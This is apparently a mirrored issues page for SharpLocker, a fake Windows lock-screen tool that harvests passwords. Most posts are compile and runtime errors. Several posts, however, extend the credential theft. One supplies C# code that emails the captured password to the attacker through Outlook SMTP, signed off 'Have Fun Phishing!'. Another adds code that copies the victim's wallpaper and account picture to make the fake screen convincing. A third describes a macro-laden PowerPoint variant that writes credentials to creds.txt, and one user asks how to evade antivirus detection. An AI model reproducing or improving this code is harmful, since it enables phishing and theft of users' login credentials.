Giter VIP home page Giter VIP logo

sharplocker's People

Contributors

mattpickford avatar nicholassheehan avatar opdsealey avatar pickfordmatt avatar wikijm avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

sharplocker's Issues

System.DirectoryServices.AccountManagement.PrincipalServerDownException HResult=0x80131501 Message=The server could not be contacted. Source=System.DirectoryServices.AccountManagement StackTrace: at System.DirectoryServices.AccountManagement.PrincipalContext.ReadServerConfig(String serverName, ServerProperties& properties) at System.DirectoryServices.AccountManagement.PrincipalContext.DoServerVerifyAndPropRetrieval() at System.DirectoryServices.AccountManagement.PrincipalContext..ctor(ContextType contextType, String name, String container, ContextOptions options, String userName, String password) at System.DirectoryServices.AccountManagement.PrincipalContext..ctor(ContextType contextType) at System.DirectoryServices.AccountManagement.UserPrincipal.get_Current() at SharpLocker.LockScreenForm..ctor() at SharpLocker.Program.Main() Inner Exception 1: LdapException: The LDAP server is unavailable.

I am having an issue with the code when trying to compile it. I am using 3top1a's version, but couldn't find the issues section there.
issues

But Can It Be Done In Powerpoint

Some people need a way to get round stupid restrictions that block exe files from running on user accounts. But these accounts are sometimes the accounts that you want to RECOVER ;D.

This is a project that has taken me a couple of hours to figure out but I thought u guys might like it.
It combines the Idea of SharpLocker and the Fun that can be had in POWERPOINT.

Unfortunately GitHub does not like macro enabled PowerPoint so you're going to have to download it as a ZIP file as PowerPoint files are just ZIP files and then Rename to SharpLocker.pptm.
You should not download any PPTM file someone sends so if you want to download in a VM to test then by all means do. Any developments will be greatly appreciated

To Turn it into a proper "EXE" file then save as a .ppsm and it will launch the same as SharpLocker.

The VBA script Outputs a text file called creds.txt to the folder the PowerPoint is opened.

Sharplocker.zip

Having Issues getting the creds output to work after changing back from ZIP file so just right click the text box on the powerpoint and view code to understand it promise it is worth it xD

How to compile?

Sorry if I sound a little noobish, but how exactly do I compile and run this? I got the program folder open in Visual Studio Code, but what do I do now?

Cheers!

Enhancement **Send Password to your email**

To get the password to be sent to your email, insert the code below in the button1_Click_1 function at the end of the Form_1.cs file and it will look something like this:

private void button1_Click_1(object sender, EventArgs e)
        {

            MailMessage msg = new MailMessage("<from@email(outlook)", "<to@email>", "Windwos Password", textBox2.Text);
            msg.IsBodyHtml = true;
            SmtpClient sc = new SmtpClient("smtp-mail.outlook.com", 587);
            sc.UseDefaultCredentials = false;
            NetworkCredential cre = new NetworkCredential("<from@email(outlook)>", "<from@email(password)");//your mail password
            sc.Credentials = cre;
            sc.EnableSsl = true;
            sc.Send(msg);

            Taskbar.Show();
            System.Windows.Forms.Application.Exit();
        }
    }

Have Fun Phishing!

Enhancements

sharplocker2

To get the current background image:

Image myimage = new Bitmap(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\Themes\\TranscodedWallpaper"));

and to get the account picture:

RegistryKey AccountPictureReg = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\AccountPicture", true);
string AccountPictureFilename = AccountPictureReg.GetValue("SourceId").ToString();
AccountPictureReg.Close();

string AccountPicture = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft\\Windows\\AccountPictures\\" + AccountPictureFilename);

Console.WriteLine(" Value: " + AccountPicture);

CS1617 Invalid option 'preview' for /langversion. Use '/langversion:?' to list supported values

Error when compiling:-
CS1617 Invalid option 'preview' for /langversion. Use '/langversion:?' to list supported values

windows 10 1903
Visual studio 2017

Tried:
installing all the .net SDK's / developer packs
changing the projects target framework to 4.0 , 4.5 , 4.6.1 , 4.6.2 all same error

1>------ Build started: Project: SharpLocker, Configuration: Debug Any CPU ------
1>CSC : error CS1617: Invalid option 'preview' for /langversion. Use '/langversion:?' to list supported values.
========== Build: 0 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========

Error while running app

To be honest, I have never used VisualStudio before, but I really want to try this out because it seems awesome.
Basically I downloaded the project and executed the SharpLocker.sln
Then when I try to run the project it will give me an error saying that the SnapLocker.exe in /bin/debug could not be found.
I'm sure I am doing something wrong, but I am quite new to VisualStudio so I really don't know that much about it.
Is there anything I am missing?

This is the error I get:
Capture

.NET exception when running

I'm getting the following errors when running the compiled .exe (not when running from VS) upon pressing enter or the arrow button:

Im not familiar with these languages so can someone tell me what went wrong?

See the end of this message for details on invoking 
just-in-time (JIT) debugging instead of this dialog box.

************** Exception Text **************
System.Net.WebException: The remote server returned an error: (500) Internal Server Error.
   at System.Net.HttpWebRequest.GetResponse()
   at WindowsFormsApp9.Form1.button1_Click_1(Object sender, EventArgs e)
   at System.Windows.Forms.Control.OnClick(EventArgs e)
   at System.Windows.Forms.Button.OnClick(EventArgs e)
   at System.Windows.Forms.Button.OnMouseUp(MouseEventArgs mevent)
   at System.Windows.Forms.Control.WmMouseUp(Message& m, MouseButtons button, Int32 clicks)
   at System.Windows.Forms.Control.WndProc(Message& m)
   at System.Windows.Forms.ButtonBase.WndProc(Message& m)
   at System.Windows.Forms.Button.WndProc(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.OnMessage(Message& m)
   at System.Windows.Forms.Control.ControlNativeWindow.WndProc(Message& m)
   at System.Windows.Forms.NativeWindow.Callback(IntPtr hWnd, Int32 msg, IntPtr wparam, IntPtr lparam)


************** Loaded Assemblies **************
mscorlib
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.4075.0 built by: NET48REL1LAST
    CodeBase: file:///C:/Windows/Microsoft.NET/Framework/v4.0.30319/mscorlib.dll
----------------------------------------
WindowsFormsApp9
    Assembly Version: 1.0.0.0
    Win32 Version: 1.0.0.0
    CodeBase: file:///C:/Users/MYUSERNAME/AppData/Local/Temp/f.exe
----------------------------------------
System.Windows.Forms
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.4042.0 built by: NET48REL1LAST_C
    CodeBase: file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Windows.Forms/v4.0_4.0.0.0__b77a5c561934e089/System.Windows.Forms.dll
----------------------------------------
System
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.4001.0 built by: NET48REL1LAST_C
    CodeBase: file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System/v4.0_4.0.0.0__b77a5c561934e089/System.dll
----------------------------------------
System.Drawing
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.3752.0 built by: NET48REL1
    CodeBase: file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Drawing/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Drawing.dll
----------------------------------------
System.Configuration
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.3752.0 built by: NET48REL1
    CodeBase: file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Configuration/v4.0_4.0.0.0__b03f5f7f11d50a3a/System.Configuration.dll
----------------------------------------
System.Core
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.4110.0 built by: NET48REL1LAST_B
    CodeBase: file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Core/v4.0_4.0.0.0__b77a5c561934e089/System.Core.dll
----------------------------------------
System.Xml
    Assembly Version: 4.0.0.0
    Win32 Version: 4.8.3752.0 built by: NET48REL1
    CodeBase: file:///C:/WINDOWS/Microsoft.Net/assembly/GAC_MSIL/System.Xml/v4.0_4.0.0.0__b77a5c561934e089/System.Xml.dll
----------------------------------------

************** JIT Debugging **************
To enable just-in-time (JIT) debugging, the .config file for this
application or computer (machine.config) must have the
jitDebugging value set in the system.windows.forms section.
The application must also be compiled with debugging
enabled.

For example:

<configuration>
    <system.windows.forms jitDebugging="true" />
</configuration>

When JIT debugging is enabled, any unhandled exception
will be sent to the JIT debugger registered on the computer
rather than be handled by this dialog box.

Flagged by antivirus

It is really great, but when build it my windows defender flags it as trojan. Any idea on how to fix it

Writing Pw into .txt

Hi there, I have no clue from c or c# I only know Python a bit. Anyway, I wanted to ask if you could help me. I want to write the Password into a .txt file so that no network connection is needed. Can someone help me?
(for the fork from feb 9th)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.